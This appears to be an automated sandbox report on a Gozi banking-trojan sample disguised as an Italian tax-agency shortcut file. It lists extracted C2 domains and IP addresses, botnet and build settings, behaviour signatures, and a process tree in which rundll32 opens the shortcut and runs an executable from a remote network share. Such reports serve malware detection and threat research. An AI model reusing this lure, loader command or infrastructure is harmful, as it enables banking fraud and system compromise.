Analysis

  • max time kernel
    155s
  • max time network
    165s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/02/2023, 13:46

General

  • Target
    AgenziaEntrate/AgenziaEntrate.url
  • Size 193B
  • Sample230209-q2y1qaec47
  • SHA256 e41a9776087f86083bd79d2af392674068c46ffba1726aac45bf85560c30069c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi

Extracted

Family
  • gozi

Botnet
  • 7708

C2
  • checklist.skype.com

  • 62.173.147.156

  • 31.41.44.3

  • 46.8.19.140

  • 45.151.232.3

  • 62.173.139.21

  • 185.142.99.47

  • 31.41.44.121

Attributes
  • base_path

    /drew/

  • build

    250255

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\AgenziaEntrate\AgenziaEntrate.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5088
    • \??\UNC\46.8.19.144\Agenzia\scarica.exe
      "\\46.8.19.144\Agenzia\scarica.exe"
      2⤵
        PID:2388

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2388-133-0x000000000066D000-0x0000000000680000-memory.dmp

          memory/2388-134-0x00000000005F0000-0x00000000005FB000-memory.dmp

          memory/2388-135-0x0000000000400000-0x0000000000562000-memory.dmp

          memory/2388-136-0x00000000021C0000-0x00000000021CD000-memory.dmp

          memory/2388-139-0x000000000066D000-0x0000000000680000-memory.dmp

          memory/2388-140-0x0000000000400000-0x0000000000562000-memory.dmp